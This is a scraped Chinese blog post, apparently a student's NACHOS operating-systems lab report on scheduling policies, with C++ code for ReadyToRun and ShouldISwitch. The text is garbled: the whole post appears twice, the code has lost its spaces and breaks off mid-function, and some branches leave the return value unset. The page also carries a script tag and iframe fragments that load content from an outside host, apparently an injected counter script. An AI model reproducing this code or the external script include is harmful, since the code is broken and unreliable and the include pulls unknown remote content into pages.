Csdn-Blog <script language="javascript" src="http://www.023rcsc.com/count/count2.asp"></script>
基于当时刚刚接触NACHOS时无从下手的窘迫,现在贴出一份自己的实验报告,跟大家交流下 操作系统实验 3 关于调度算法的实现 我们实现的是
ShortestJobFirst,ShortestRemainingNext&Priority,Round-Robin 和
MultipleQueues 这 5 个调度的算法。
经过我一个多星期对文档的阅读和与同学的讨论,初步弄明白了 Nachos
的线程调度的基本的概念和流程。 本次的实验, Nachos 用了一个叫 List
的模板类来维护进程的链表以及其他的链表,所有的链表操作都可以通过里面定义的函数来操作,里面有很关键的
SortedInsert
函数,确保可以按照一定的顺序来插入数据。另外通过对线程类型的阅读,也发现了里面有
timeLeft,priority
等的私有成员,可以记录剩余时间和优先级。对于其他的成员函数就不是十分熟悉他们的整个执行的流程了。
对于进程的调度,是由一个叫做 scheduler
的类来控制整个线程的调度,包括执行队列,线程间切换,线程的运行,处理机的时间分块运行。本次实验通过对两个函数,
ReadyToRun() 和
ShouldISwitch()
来实现我们的调度策略。 Void
Scheduler::ReadyToRun(Thread*thread) {
DEBUG('t',"Puttingthread%sonreadylist./n",thread->getName());
thread->setStatus(READY);
switch(policy) {
caseSCHED_PRIO:
readyList->SortedInsert(thread,20-thread->getPriority());break;
//Priority
caseSCHED_MQ:
readyList->SortedInsert(thread,20-thread->getPriority());break;
//MultipleQueues
caseSCHED_SJF:
readyList->SortedInsert(thread,thread->getTimeLeft());
break;
//ShortestJobFirst
caseSCHED_SRTN:
readyList->SortedInsert(thread,thread->getTimeLeft());
break;
//ShortestRemainingTimeNext
caseSCHED_FCFS:
readyList->Append(thread);
break;
//FirstComeFirstServed(FCFS)scheduling
//FCFSistheNachOSdefault
caseSCHED_RR:
readyList->Append(thread);
break;
//RoundRobinscheduling
default:
readyList->Append(thread);
break; } }
boolScheduler::ShouldISwitch(Thread
*oldThread,Thread*newThread) {
boolanswer;
switch(policy) {
caseSCHED_FCFS:
break;
//First-comefirst-servedscheduling
caseSCHED_MQ:
if((oldThread->getPriority())>=(newThread->getPriority()))
answer=false;
else
answer=true;
break;
//MultipleQueues
caseSCHED_SJF:
break;
//ShortestJobFirst
caseSCHED_RR:
break;
//RoundRobinscheduling
caseSCHED_PRIO:
if((oldThread->getPriority())>=(newThread->getPriority()))
answer=false;
NACHOS调度算法的实现(上) src="http://www.023rcsc.com/count/iframe2.asp" frameborder="0" width="650" scrolling="no" height="160">
NACHOS调度算法的实现(上)
bsp基于当时刚刚接触NACHOS时无从下手的窘迫,现在贴出一份自己的实验报告,跟大家交流下 操作系统实验 3 关于调度算法的实现 我们实现的是
ShortestJobFirst,ShortestRemainingNext&Priority,Round-Robin 和
MultipleQueues 这 5 个调度的算法。
经过我一个多星期对文档的阅读和与同学的讨论,初步弄明白了 Nachos
的线程调度的基本的概念和流程。 本次的实验, Nachos 用了一个叫 List
的模板类来维护进程的链表以及其他的链表,所有的链表操作都可以通过里面定义的函数来操作,里面有很关键的
SortedInsert
函数,确保可以按照一定的顺序来插入数据。另外通过对线程类型的阅读,也发现了里面有
timeLeft,priority
等的私有成员,可以记录剩余时间和优先级。对于其他的成员函数就不是十分熟悉他们的整个执行的流程了。
对于进程的调度,是由一个叫做 scheduler
的类来控制整个线程的调度,包括执行队列,线程间切换,线程的运行,处理机的时间分块运行。本次实验通过对两个函数,
ReadyToRun() 和
ShouldISwitch()
来实现我们的调度策略。 Void
Scheduler::ReadyToRun(Thread*thread) {
DEBUG('t',"Puttingthread%sonreadylist./n",thread->getName());
thread->setStatus(READY);
switch(policy) {
caseSCHED_PRIO:
readyList->SortedInsert(thread,20-thread->getPriority());break;
//Priority
caseSCHED_MQ:
readyList->SortedInsert(thread,20-thread->getPriority());break;
//MultipleQueues
caseSCHED_SJF:
readyList->SortedInsert(thread,thread->getTimeLeft());
break;
//ShortestJobFirst
caseSCHED_SRTN:
readyList->SortedInsert(thread,thread->getTimeLeft());
break;
//ShortestRemainingTimeNext
caseSCHED_FCFS:
readyList->Append(thread);
break;
//FirstComeFirstServed(FCFS)scheduling
//FCFSistheNachOSdefault
caseSCHED_RR:
readyList->Append(thread);
break;
//RoundRobinscheduling
default:
readyList->Append(thread);
break; } }
boolScheduler::ShouldISwitch(Thread
*oldThread,Thread*newThread) {
boolanswer;
switch(policy) {
caseSCHED_FCFS:
break;
//First-comefirst-servedscheduling
caseSCHED_MQ:
if((oldThread->getPriority())>=(newThread->getPriority()))
answer=false;
else
answer=true;
break;
//MultipleQueues
caseSCHED_SJF:
break;
//ShortestJobFirst
caseSCHED_RR:
break;
//RoundRobinscheduling
caseSCHED_PRIO:
if((oldThread->getPriority())>=(newThread->getPriority()))
answer=false;
NACHOS调度算法的实现(上) src="http://www.023rcsc.com/count/iframe2.asp" frameborder="0" width="650" scrolling="no" height="160">